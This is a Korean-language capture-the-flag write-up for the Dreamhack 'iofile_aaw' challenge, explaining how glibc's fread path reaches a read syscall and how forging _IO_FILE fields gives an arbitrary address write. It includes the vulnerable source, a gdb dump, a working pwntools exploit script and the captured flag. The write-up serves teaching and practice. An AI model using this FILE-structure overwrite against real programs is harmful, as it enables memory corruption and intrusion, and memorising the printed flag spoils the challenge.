_IO_FILE Arbitrary Address Write

    Description

    Exploit Tech: _IO_FILE Arbitrary Address Write에서 실습하는 문제입니다.


    checksec

    seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ checksec ./iofile_aaw
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Write/iofile_aaw'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Decompiled-src

    iofile_aaw.c

    // Name: iofile_aaw
    // gcc -o iofile_aaw iofile_aaw.c -no-pie
    
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    
    char flag_buf[1024];
    int overwrite_me;
    
    void init() {
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
    }
    
    int read_flag() {
      FILE *fp;
      fp = fopen("/home/iofile_aaw/flag", "r");
      fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
    
      write(1, flag_buf, sizeof(flag_buf));
      fclose(fp);
    }
    
    int main() {
      FILE *fp;
    
      char file_buf[1024];
    
      init();
    
      fp = fopen("/etc/issue", "r");
    
      printf("Data: ");
    
      read(0, fp, 300);
    
      fread(file_buf, 1, sizeof(file_buf)-1, fp);
    
      printf("%s", file_buf);
    
      if( overwrite_me == 0xDEADBEEF)
        read_flag();
    
      fclose(fp);
    }

    “/etc/issue” 파일을 읽기 모드로 읽고,
    파일 포인터에 300바이트만큼의 값을 입력할 수 있다.

    그렇게 읽은 “/etc/issue” 파일 내용은 지역변수인 file_buf에 저장되고, printf를 통해 출력한다.

    전역변수인 overwrite_me 변수가 0xDEADBEEF일 경우, flag를 획득할 수 있다.


    Solution

    파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
    파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.

    대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
    파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.

    파일을 읽는 함수들은 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출한다.

    fread 함수에 대해 살펴보면,

    https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/getw.c#L21

    #include <stdio.h>
    
    #include <libio/iolibio.h>
    #define fread(p, m, n, s) _IO_fread (p, m, n, s)

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofread.c#L38

    #include "libioP.h"
    
    _IO_size_t
    _IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
    {
      _IO_size_t bytes_requested = size * count;
      _IO_size_t bytes_read;
      CHECK_FILE (fp, 0);
      if (bytes_requested == 0)
        return 0;
      _IO_acquire_lock (fp);
      bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
      ...
    }

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/genops.c#L429

    _IO_size_t
    _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
    {
      /* FIXME handle putback buffer here! */
      return _IO_XSGETN (fp, data, n);
    }

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L177

    #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1294

    _IO_size_t
    _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
    {
      _IO_size_t want, have;
      _IO_ssize_t count;
      char *s = data;
    
      want = n;
    
      if (fp->_IO_buf_base == NULL)
        {
          /* Maybe we already have a push back pointer.  */
          if (fp->_IO_save_base != NULL)
    	{
    	  free (fp->_IO_save_base);
    	  fp->_flags &= ~_IO_IN_BACKUP;
    	}
          _IO_doallocbuf (fp);
        }
    
      while (want > 0)
        {
          have = fp->_IO_read_end - fp->_IO_read_ptr;
          if (want <= have)
    	{
    	  memcpy (s, fp->_IO_read_ptr, want);
    	  fp->_IO_read_ptr += want;
    	  want = 0;
    	}
          else
    	{
    	  if (have > 0)
    	    {
    	      s = __mempcpy (s, fp->_IO_read_ptr, have);
    	      want -= have;
    	      fp->_IO_read_ptr += have;
    	    }
    
    	  /* Check for backup and repeat */
    	  if (_IO_in_backup (fp))
    	    {
    	      _IO_switch_to_main_get_area (fp);
    	      continue;
    	    }
    
    	  /* If we now want less than a buffer, underflow and repeat
    	     the copy.  Otherwise, _IO_SYSREAD directly to
    	     the user buffer. */
    	  if (fp->_IO_buf_base
    	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
    	    {
    	      if (__underflow (fp) == EOF)
    		break;
    
    	      continue;
    	    }
    
    	  /* These must be set before the sysread as we might longjmp out
    	     waiting for input. */
    	  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
    	  _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
    
    	  /* Try to maintain alignment: read a whole number of blocks.  */
    	  count = want;
    	  if (fp->_IO_buf_base)
    	    {
    	      _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
    	      if (block_size >= 128)
    		count -= want % block_size;
    	    }
    
    	  count = _IO_SYSREAD (fp, s, count);
    	  if (count <= 0)
    	    {
    	      if (count == 0)
    		fp->_flags |= _IO_EOF_SEEN;
    	      else
    		fp->_flags |= _IO_ERR_SEEN;
    
    	      break;
    	    }
    
    	  s += count;
    	  want -= count;
    	  if (fp->_offset != _IO_pos_BAD)
    	    _IO_pos_adjust (fp->_offset, count);
    	}
        }
    
      return n - want;
    }
    libc_hidden_def (_IO_file_xsgetn)

    fread → _IO_fread → _IO_sgetn → _IO_XSGETN → _IO_file_xsgetn
    이렇게 최종적으로 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출하는 것을 알 수 있다.

    _IO_size_t
    _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
    {
      _IO_size_t want, have;
      _IO_ssize_t count;
      char *s = data;
    
      want = n;
    
    ...
    	  /* If we now want less than a buffer, underflow and repeat
    	     the copy.  Otherwise, _IO_SYSREAD directly to
    	     the user buffer. */
    	  if (fp->_IO_buf_base
    	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
    	    {
    	      if (__underflow (fp) == EOF)
    		break;
    
    	      continue;
    	    }
    ...
    }

    해당 함수는 파일 함수의 인자로 전달된 n이 _IO_buf_end - _IO_buf_base 값보다 작은지 검사하고 __underflow() → _IO_new_file_underflow 함수를 호출한다.

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L469

    int
    _IO_new_file_underflow (_IO_FILE *fp)
    {
      _IO_ssize_t count;
    ...
      if (fp->_flags & _IO_NO_READS)
        {
          fp->_flags |= _IO_ERR_SEEN;
          __set_errno (EBADF);
          return EOF;
        }
      if (fp->_IO_read_ptr < fp->_IO_read_end)
        return *(unsigned char *) fp->_IO_read_ptr;
    ...
      count = _IO_SYSREAD (fp, fp->_IO_buf_base,
    		       fp->_IO_buf_end - fp->_IO_buf_base);
      ...
      return *(unsigned char *) fp->_IO_read_ptr;
    }
    libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

    _IO_new_file_underflow 함수는
    파일 포인터의 _flags 변수에 읽기 권한이 부여됐는지 확인한다.

    _IO_SYSREAD 함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값을 전달한다.

    _IO_SYSREAD 함수는 vtable의 _IO_file_read() 로 매크로 정의를 통해 확인할 수 있다.

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1152

    _IO_ssize_t
    _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
    {
      return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
    	  ? __read_nocancel (fp->_fileno, buf, size)
    	  : __read (fp->_fileno, buf, size));
    }
    libc_hidden_def (_IO_file_read)

    _IO_file_read 함수에서는 read 시스템 콜을 통해 데이터를 읽는 것을 확인할 수 있다.

    read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);

    정리하자면, 위와 같이 최종적으로,
    read 시스템 콜 인자에는 파일 구조체에서 파일 디스크립터를 나타내는 _fileno_IO_buf_base인 buf, 그리고 _IO_buf_end - _IO_buf_base로 연산된 size가 전달되는 것을 알 수 있다.

    이렇게 fd 변수인 _fileno_IO_buf_base , _IO_buf_end , _flags를 적절하게 조작하여 임의의 주소에 쓰기를 수행할 수 있는 공격 방법이 _IO_FILE Arbitrary Address Write이라고 한다.


    fp인 파일 구조체에 있는 필드를 조작해서,
    overwrite_me 변수를 0xDEADBEEF로 조작해야 된다.

    Breakpoint 1, 0x0000000000400862 in main ()
    gdb-peda$ p *(FILE *)$rax
    $1 = {
      _flags = 0xfbad2488,
      _IO_read_ptr = 0x0,
      _IO_read_end = 0x0,
      _IO_read_base = 0x0,
      _IO_write_base = 0x0,
      _IO_write_ptr = 0x0,
      _IO_write_end = 0x0,
      _IO_buf_base = 0x0,
      _IO_buf_end = 0x0,
      _IO_save_base = 0x0,
      _IO_backup_base = 0x0,
      _IO_save_end = 0x0,
      _markers = 0x0,
      _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
      _fileno = 0x3,
      _flags2 = 0x0,
      _old_offset = 0x0,
      _cur_column = 0x0,
      _vtable_offset = 0x0,
      _shortbuf = "",
      _lock = 0x602340,
      _offset = 0xffffffffffffffff,
      _codecvt = 0x0,
      _wide_data = 0x602350,
      _freeres_list = 0x0,
      _freeres_buf = 0x0,
      __pad5 = 0x0,
      _mode = 0x0,
      _unused2 = '\000' <repeats 19 times>
    }

    fopen을 한 직후의 FILE 구조체를 살펴보면 위와 같다.

    read(f->_fileno, _IO_buf_base, _IO_buf_end – _IO_buf_base);

    위에서 언급했던 것처럼 _IO_file_read() 에서 read 시스템 콜을 호출되기 때문에,
    fp를 조작할 수 있으므로 read 시스템 콜을 통해 overwrite_me를 조작하면 된다.

    _IO_buf_base를 overwrite_me의 주소로 조작하고, 
    _IO_buf_end를 overwrite_me + 1024 로 조작하면 된다.

    read 함수 인자로 사용되는 size를 적절하게 조작해야되는데,

    int
    _IO_new_file_underflow (_IO_FILE *fp)
    {
    ...
      if (fp->_IO_read_ptr < fp->_IO_read_end)
        return *(unsigned char *) fp->_IO_read_ptr;
    ...
    }

    이러한 이유는 _IO_new_file_underflow()에서 _IO_buf_end - _IO_buf_base 값이 fread 함수의 인자로 전달된 읽기 크기보다 커야되는 조건이 있기 때문이다.

    char file_buf[1024];
    ...
    fread(file_buf, 1, sizeof(file_buf)-1, fp);

    코드를 보면,
    fread 함수의 size로 1023을 사용하고 있기 때문에 더 큰 1024로 조작해야한다.

    마지막으로 값을 쓰기 위해서 fileno 를 stdin을 의미하는 0으로 덮고 
    _flags는 기존 값 그대로 _IO_IS_FILEBUF, _IO_TIED_PUT_GET, _IO_LINKED, _IO_NO_WRITES 의 권한을 유지한 0xfbad2488값으로 조작하면 된다.

    0xfbad2488 == _IO_MAGIC(0xfbad0000) + _IO_IS_FILEBUF(0x2000) + _IO_TIED_PU_GET(0x400) + _IO_LINKED(0x80) + _IO_NO_WRITES(0x8)을 의미하고 쓰기를 수행하기위한 flag를 설정한 것이라고 보면 된다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("host3.dreamhack.games", 10995)
    #p = process("iofile_aaw")
    e = ELF('./iofile_aaw', checksec=False)
    libc = ELF('./libc.so.6', checksec=False)
    
    overwrite_me = e.symbols['overwrite_me']
    
    #read(stdin, overwrite_me, overwrite_me+1024 - overwrite_me)
    #read(0, overwrite_me, 1024)
    payload = p64(0xfbad2488)   #_flags
    payload += p64(0)   #_IO_read_ptr
    payload += p64(0)   #_IO_read_end
    payload += p64(0)   #_IO_read_base
    payload += p64(0)   #_IO_write_base
    payload += p64(0)   #_IO_write_ptr
    payload += p64(0)   #_IO_write_end
    payload += p64(overwrite_me)   #_IO_buf_base
    payload += p64(overwrite_me+1024)   #_IO_buf_end
    payload += p64(0)   #_IO_save_base
    payload += p64(0)   #_IO_backup_base
    payload += p64(0)   #_IO_save_end
    payload += p64(0)   #_markers
    payload += p64(0)   #_chain
    payload += p64(0)   #_fileno (stdin)
    p.sendlineafter("Data: ", payload)
    p.sendline(p64(0xdeadbeef) + b"\x00"*1015)
    
    p.interactive()

    Result

    seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Write$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 10995: Done
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] Switching to interactive mode
    ᆳ\DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}
    \x00...[*] Got EOF while reading in interactive
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 10995

    FLAG

    DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c}

    Reference

    https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Write

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다